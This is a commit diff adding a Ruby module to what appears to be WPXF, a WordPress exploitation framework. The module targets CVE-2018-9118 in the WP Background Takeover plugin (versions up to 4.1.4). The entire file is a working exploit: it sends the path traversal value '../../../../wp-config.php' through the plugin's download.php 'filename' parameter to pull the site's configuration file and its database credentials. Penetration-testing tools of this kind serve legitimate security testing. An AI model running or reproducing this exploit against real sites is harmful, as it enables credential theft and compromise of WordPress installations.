Add WP Background Takeover <= 4.1.4 file download

Author: rastating

modules/auxiliary/file_download/wp_background_takeover_file_download.rb

@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+class Wpxf::Auxiliary::WpBackgroundTakeoverFileDownload < Wpxf::Module
+  include Wpxf::WordPress::FileDownload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP Background Takeover <= 4.1.4 File Download',
+      author: [
+        'Colette Chamberland', # Disclosure
+        'rastating'            # WPXF module
+      ],
+      references: [
+        ['CVE', '2018-9118'],
+        ['WPVDB', '9056']
+      ],
+      date: 'Apr 06 2018'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wpsite-background-takeover', '4.1.5')
+  end
+
+  def default_remote_file_path
+    '../../../../wp-config.php'
+  end
+
+  def working_directory
+    'wp-content/plugins/wpsite-background-takeover/exports/'
+  end
+
+  def downloader_url
+    normalize_uri(wordpress_url_plugins, 'wpsite-background-takeover', 'exports', 'download.php')
+  end
+
+  def download_request_params
+    { 'filename' => remote_file }
+  end
+end